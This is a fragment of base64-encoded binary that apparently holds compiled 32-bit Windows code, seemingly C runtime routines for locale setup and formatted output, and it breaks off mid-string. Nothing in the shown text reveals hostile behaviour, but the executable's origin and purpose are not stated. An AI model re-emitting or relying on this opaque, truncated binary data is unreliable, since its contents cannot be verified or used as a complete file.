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0FYPoAw+FnQkAAION+Pv//wjpkQkAAION+Pv//wTphQkAAION+Pv//wHpeQkAAIGN+Pv//4AAAADpagkAAAm9+Pv//+lfCQAAZoP6KnUsg8MEiZ3k+///i1v8iZ3U+///hdsPjT8JAACDjfj7//8E953U+///6S0JAACLhdT7//9rwAoPt8qNRAjQiYXU+///6RIJAACDpfT7//8A6QYJAABmg/oqdSaDwwSJneT7//+LW/yJnfT7//+F2w+N5ggAAION9Pv////p2ggAAIuF9Pv//2vACg+3yo1ECNCJhfT7///pvwgAAA+3woP4SXRXg/hodEaD+Gx0GIP4dw+FpAgAAIGN+Pv//wAIAADplQgAAGaDPmx1FwP3gY34+///ABAAAIm1wPv//+l4CAAAg434+///EOlsCAAAg434+///IOlgCAAAD7cGZoP4NnUfZoN+AjR1GIPGBIGN+Pv//wCAAACJtcD7///pOAgAAGaD+DN1H2aDfgIydRiDxgSBpfj7////f///ibXA+///6RMIAABmg/hkD4QJCAAAZoP4aQ+E/wcAAGaD+G8PhPUHAABmg/h1D4TrBwAAZoP4eA+E4QcAAGaD+FgPhNcHAACDpaT7//8Ai4XQ+///Uo214Pv//8eF2Pv//wEAAADo+/v//+muBwAAD7fCg/hkD48vAgAAD4TAAgAAg/hTD48bAQAAdH6D6EF0ECvHdFkrx3QIK8cPhe8FAACDwiDHhaD7//8BAAAAiZXo+///g434+///QIO99Pv//wCNtfz7//+4AAIAAIm18Pv//4mF7Pv//w+NkAIAAMeF9Pv//wYAAADp7AIAAPeF+Pv//zAIAAAPhcgAAACDjfj7//8g6bwAAAD3hfj7//8wCAAAdQeDjfj7//8gi730+///g///dQW/////f4PDBPaF+Pv//yCJneT7//+LW/yJnfD7//8PhAgFAACF23ULoSBdARCJhfD7//+Dpez7//8Ai7Xw+///hf8PjiAFAACKBoTAD4QWBQAAjY2o+///D7bAUVDoCNf//1lZhcB0AUZG/4Xs+///Ob3s+///fNDp6wQAAIPoWA+E9wIAACvHD4SUAAAAK8EPhPb+//8rxw+FygQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+JneT7//+JhZz7//90QoiFzPv//42FqPv//1CLhaj7///Ghc37//8A/7CsAAAAjYXM+///UI2F/Pv//1DoR1AAAIPEEIXAfQ+JtcT7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pRgQAAIsDg8MEiZ3k+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6QEEAACDpdj7//8A6fcDAAChIF0BEImF8Pv//1DokzEAAFnp4AMAAIP4cA+P+gEAAA+E4gEAAIP4ZQ+MzgMAAIP4Zw+O6f3//4P4aXRxg/hudCiD+G8PhbIDAAD2hfj7//+Ax4Xo+///CAAAAHRhgY34+///AAIAAOtVizODwwSJneT7///oQU8AAIXAD4QwBQAA9oX4+///IHQMZouF4Pv//2aJBusIi4Xg+///iQbHhcT7//8BAAAA6cEEAACDjfj7//9Ax4Xo+///CgAAAPeF+Pv//wCAAAAPhKsBAACLA4tTBIPDCOnnAQAAdRJmg/pndWPHhfT7//8BAAAA61c5hfT7//9+BomF9Pv//4G99Pv//6MAAAB+PYu99Pv//4HHXQEAAFfomBAAAIuV6Pv//1mJhbz7//+FwHQQiYXw+///ib3s+///i/DrCseF9Pv//6MAAACLA4PDCImFlPv//4tD/ImFmPv//42FqPv//1D/taD7//8PvsL/tfT7//+JneT7//9Q/7Xs+///jYWU+///VlD/NUBdARDoTfD//1n/0Iud+Pv//4PEHIHjgAAAAHQhg730+///AHUYjYWo+///UFb/NUxdARDoHfD//1n/0FlZZoO96Pv//2d1HIXbdRiNhaj7//9QVv81SF0BEOj37///Wf/QWVmAPi11EYGN+Pv//wABAABGibXw+///VukE/v//x4X0+///CAAAAImNuPv//+skg+hzD4Rn/P//K8cPhIr+//+D6AMPhckBAADHhbj7//8nAAAA9oX4+///gMeF6Pv//xAAAAAPhGr+//9qMFhmiYXI+///i4W4+///g8BRZomFyvv//4m93Pv//+lF/v//94X4+///ABAAAA+FRf7//4PDBPaF+Pv//yB0HPaF+Pv//0CJneT7//90Bg+/Q/zrBA+3Q/yZ6xf2hfj7//9Ai0P8dAOZ6wIz0omd5Pv///aF+Pv//0B0G4XSfxd8BIXAcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF6Pv//5lSUFNX6J5NAACDwTCD+TmJnZD7//+L+IvafgYDjbj7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90WYXAdAeLzoA5MHRO/43w+///i43w+///xgEwQOs2hdt1C6EkXQEQiYXw+///i4Xw+///x4XY+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g73E+///AA+FZQEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWGaJhcj7///Hhdz7//8BAAAAi53U+///i7Xs+///K94rndz7///2hfj7//8MdRf/tdD7//+NheD7//9TaiDokfX//4PEDP+13Pv//4u90Pv//42F4Pv//42NyPv//+iY9f//9oX4+///CFl0G/aF+Pv//wR1EldTajCNheD7///oT/X//4PEDIO92Pv//wB1dYX2fnGLvfD7//+Jtej7////jej7//+Nhaj7//9Qi4Wo+////7CsAAAAjYWc+///V1Do3UoAAIPEEImFkPv//4XAfin/tZz7//+LhdD7//+NteD7///ouvT//wO9kPv//4O96Pv//wBZf6brHION4Pv////rE4uN8Pv//1aNheD7///o4/T//1mDveD7//8AfCD2hfj7//8EdBf/tdD7//+NheD7//9TaiDolfT//4PEDIO9vPv//wB0E/+1vPv//+hB1v//g6W8+///AFmLtcD7//8PtwaJhej7//9mhcB0KouNpPv//4ud5Pv//4vQ6Zb1///oIdz//8cAFgAAADPAUFBQUFDpMvX//4C9tPv//wB0CouFsPv//4NgcP2LheD7//+LTfxfXjPNW+hpzf//ycONSQC3ZwAQmWUAEMtlABAoZgAQdWYAEIFmABDIZgAQ2GcAEIv/VYvsgex0BAAAoRxQARAzxYlF/FOLXRRWi3UIM8BX/3UQi30MjY20+///ibXE+///iZ3o+///iYWs+///iYX4+///iYXU+///iYX0+///iYXc+///iYWw+///iYXY+///6P3O//+F9nU16FTb///HABYAAAAzwFBQUFBQ6Nra//+DxBSAvcD7//8AdAqLhbz7//+DYHD9g8j/6c8KAAAz9jv+dRLoGdv//1ZWVlbHABYAAABW68UPtw+JteD7//+Jtez7//+Jtcz7//+Jtaj7//+JjeT7//9mO84PhHQKAABqAloD+jm14Pv//4m9oPv//w+MSAoAAI1B4GaD+Fh3Dw+3wQ+2gKAUARCD4A/rAjPAi7XM+///a8AJD7aEMMAUARBqCMHoBF6Jhcz7//87xg+EM////4P4Bw+H3QkAAP8khZB7ABAzwION9Pv///+JhaT7//+JhbD7//+JhdT7//+Jhdz7//+Jhfj7//+Jhdj7///psAkAAA+3wYPoIHRIg+gDdDQrxnQkK8J0FIPoAw+FhgkAAAm1+Pv//+mHCQAAg434+///BOl7CQAAg434+///AelvCQAAgY34+///gAAAAOlgCQAACZX4+///6VUJAABmg/kqdSuLA4PDBImd6Pv//4mF1Pv//4XAD402CQAAg434+///BPed1Pv//+kkCQAAi4XU+///a8AKD7fJjUQI0ImF1Pv//+kJCQAAg6X0+///AOn9CAAAZoP5KnUliwODwwSJnej7//+JhfT7//+FwA+N3ggAAION9Pv////p0ggAAIuF9Pv//2vACg+3yY1ECNCJhfT7///ptwgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FnAgAAIGN+Pv//wAIAADpjQgAAGaDP2x1EQP6gY34+///ABAAAOl2CAAAg434+///EOlqCAAAg434+///IOleCAAAD7cHZoP4NnUZZoN/AjR1EoPHBIGN+Pv//wCAAADpPAgAAGaD+DN1GWaDfwIydRKDxwSBpfj7////f///6R0IAABmg/hkD4QTCAAAZoP4aQ+ECQgAAGaD+G8PhP8HAABmg/h1D4T1BwAAZoP4eA+E6wcAAGaD+FgPhOEHAACDpcz7//8Ai4XE+///UY214Pv//8eF2Pv//wEAAADoUvD//1npuAcAAA+3wYP4ZA+PMAIAAA+EvQIAAIP4Uw+PGwEAAHR+g+hBdBArwnRZK8J0CCvCD4XsBQAAg8Egx4Wk+///AQAAAImN5Pv//4ON+Pv//0CDvfT7//8AjbX8+///uAACAACJtfD7//+Jhez7//8PjY0CAADHhfT7//8GAAAA6ekCAAD3hfj7//8wCAAAD4XJAAAAg434+///IOm9AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4QFBQAAhdt1C6EgXQEQiYXw+///g6Xs+///AIu18Pv//4X/D44dBQAAigaEwA+EEwUAAI2NtPv//w+2wFFQ6F7L//9ZWYXAdAFGRv+F7Pv//zm97Pv//3zQ6egEAACD6FgPhPACAAArwg+ElQAAAIPoBw+E9f7//yvCD4XGBAAAD7cDg8MEM/ZG9oX4+///IIm12Pv//4md6Pv//4mFnPv//3RCiIXI+///jYW0+///UIuFtPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOicRAAAg8QQhcB9D4m1sPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+lCBAAAiwODwwSJnej7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF2Pv//wEAAADp/QMAAIOl2Pv//wDp8wMAAKEgXQEQiYXw+///UOjoJQAAWencAwAAg/hwD4/2AQAAD4TeAQAAg/hlD4zKAwAAg/hnD47o/f//g/hpdG2D+G50JIP4bw+FrgMAAPaF+Pv//4CJteT7//90YYGN+Pv//wACAADrVYszg8MEiZ3o+///6JpDAACFwA+EVvr///aF+Pv//yB0DGaLheD7//9miQbrCIuF4Pv//4kGx4Ww+///AQAAAOnBBAAAg434+///QMeF5Pv//woAAAD3hfj7//8AgAAAD4SrAQAAA96LQ/iLU/zp5wEAAHUSZoP5Z3Vjx4X0+///AQAAAOtXOYX0+///fgaJhfT7//+BvfT7//+jAAAAfj2LvfT7//+Bx10BAABX6PEEAABZi43k+///iYWo+///hcB0EImF8Pv//4m97Pv//4vw6wrHhfT7//+jAAAAiwODwwiJhZT7//+LQ/yJhZj7//+NhbT7//9Q/7Wk+///D77B/7X0+///iZ3o+///UP+17Pv//42FlPv//1ZQ/zVAXQEQ6Kbk//9Z/9CLnfj7//+DxByB44AAAAB0IYO99Pv//wB1GI2FtPv//1BW/zVMXQEQ6Hbk//9Z/9BZWWaDveT7//9ndRyF23UYjYW0+///UFb/NUhdARDoUOT//1n/0FlZgD4tdRGBjfj7//8AAQAARom18Pv//1bpCP7//4m19Pv//8eFrPv//wcAAADrJIPocw+Eavz//yvCD4SK/v//g+gDD4XJAQAAx4Ws+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Rq/v//ajBYZomF0Pv//4uFrPv//4PAUWaJhdL7//+Jldz7///pRf7///eF+Pv//wAQAAAPhUX+//+DwwT2hfj7//8gdBz2hfj7//9AiZ3o+///dAYPv0P86wQPt0P8mesX9oX4+///QItD/HQDmesCM9KJnej7///2hfj7//9AdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+j3QQAAg8Ewg/k5iZ2Q+///i/iL2n4GA42s+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dFmFwHQHi86AOTB0Tv+N8Pv//4uN8Pv//8YBMEDrNoXbdQuhJF0BEImF8Pv//4uF8Pv//8eF2Pv//wEAAADrCU9mgzgAdAYDwoX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhWUBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFhmiYXQ+///x4Xc+///AQAAAIud1Pv//4u17Pv//yveK53c+///9oX4+///DHUX/7XE+///jYXg+///U2og6Orp//+DxAz/tdz7//+LvcT7//+NheD7//+NjdD7///o8en///aF+Pv//whZdBv2hfj7//8EdRJXU2owjYXg+///6Kjp//+DxAyDvdj7//8AdXWF9n5xi73w+///ibXk+////43k+///jYW0+///UIuFtPv///+wrAAAAI2FnPv//1dQ6DY/AACDxBCJhZD7//+FwH4p/7Wc+///i4XE+///jbXg+///6BPp//8DvZD7//+DveT7//8AWX+m6xyDjeD7////6xOLjfD7//9WjYXg+///6Dzp//9Zg73g+///AHwg9oX4+///BHQX/7XE+///jYXg+///U2og6O7o//+DxAyDvaj7//8AdBP/taj7///omsr//4OlqPv//wBZi72g+///i53o+///D7cHM/aJheT7//9mO8Z0B4vI6aH1//85tcz7//90DYO9zPv//wcPhVD1//+AvcD7//8AdAqLhbz7//+DYHD9i4Xg+///i038X14zzVvoyMH//8nDi/9gcwAQWHEAEIpxABDlcQAQMXIAED1yABCDcgAQgnMAEIv/VYvsVlcz9v91COi5IAAAi/hZhf91JzkFaGMBEHYfVv8VsAABEI2G6AMAADsFaGMBEHYDg8j/i/CD+P91yovHX15dw4v/VYvsVlcz9moA/3UM/3UI6Io/AACL+IPEDIX/dSc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcOLx19eXcOL/1WL7FZXM/b/dQz/dQjoXkAAAIv4WVmF/3UsOUUMdCc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcGLx19eXcOL/1WL7Fe/6AMAAFf/FbAAARD/dQj/FZQAARCBx+gDAACB/2DqAAB3BIXAdN5fXcOL/1WL7OiwQwAA/3UI6P1BAAD/NRBYARDo/t7//2j/AAAA/9CDxAxdw4v/VYvsaBwDARD/FZQAARCFwHQVaAwDARBQ/xWYAAEQhcB0Bf91CP/QXcOL/1WL7P91COjI////Wf91CP8VtAABEMxqCOj0DwAAWcNqCOgRDwAAWcOL/1WL7FaL8OsLiwaFwHQC/9CDxgQ7dQhy8F5dw4v/VYvsVot1CDPA6w+FwHUQiw6FyXQC/9GDxgQ7dQxy7F5dw4v/VYvsgz0wfAEQAHQZaDB8ARDoukMAAFmFwHQK/3UI/xUwfAEQWejsOwAAaLABARBonAEBEOih////WVmFwHVCaNSGABDoBiMAALiIAQEQxwQkmAEBEOhj////gz00fAEQAFl0G2g0fAEQ6GJDAABZhcB0DGoAagJqAP8VNHwBEDPAXcNqGGiIMAEQ6BELAABqCOgQDwAAWYNl/AAz20M5HZxjARAPhMUAAACJHZhjARCKRRCilGMBEIN9DAAPhZ0AAAD/NSh8ARDojd3//1mL+Il92IX/dHj/NSR8ARDoeN3//1mL8Il13Il95Il14IPuBIl13Dv3clfoVN3//zkGdO0793JK/zboTt3//4v46D7d//+JBv/X/zUofAEQ6Djd//+L+P81JHwBEOgr3f//g8QMOX3kdQU5ReB0Dol95Il92IlF4IvwiXXci33Y659owAEBELi0AQEQ6F/+//9ZaMgBARC4xAEBEOhP/v//WcdF/P7////oHwAAAIN9EAB1KIkdnGMBEGoI6D4NAABZ/3UI6Pz9//8z20ODfRAAdAhqCOglDQAAWcPoNwoAAMOL/1WL7GoAagH/dQjow/7//4PEDF3DagFqAGoA6LP+//+DxAzDi/9W6HXc//+L8FbogiEAAFboaEUAAFboxcr//1boTUUAAFboOEUAAFboIEMAAFboFggAAFboA0MAAGgvfwAQ6Mfb//+DxCSjEFgBEF7DalRoqDABEOhyCQAAM/+JffyNRZxQ/xVMAAEQx0X8/v///2pAaiBeVugm/P//WVk7xw+EFAIAAKMgewEQiTUIewEQjYgACAAA6zDGQAQAgwj/xkAFCol4CMZAJADGQCUKxkAmCol4OMZANACDwECLDSB7ARCBwQAIAAA7wXLMZjl9zg+ECgEAAItF0DvHD4T/AAAAiziNWASNBDuJReS+AAgAADv+fAKL/sdF4AEAAADrW2pAaiDomPv//1lZhcB0VotN4I0MjSB7ARCJAYMFCHsBECCNkAAIAADrKsZABACDCP/GQAUKg2AIAIBgJIDGQCUKxkAmCoNgOADGQDQAg8BAixED1jvCctL/ReA5PQh7ARB8nesGiz0IewEQg2X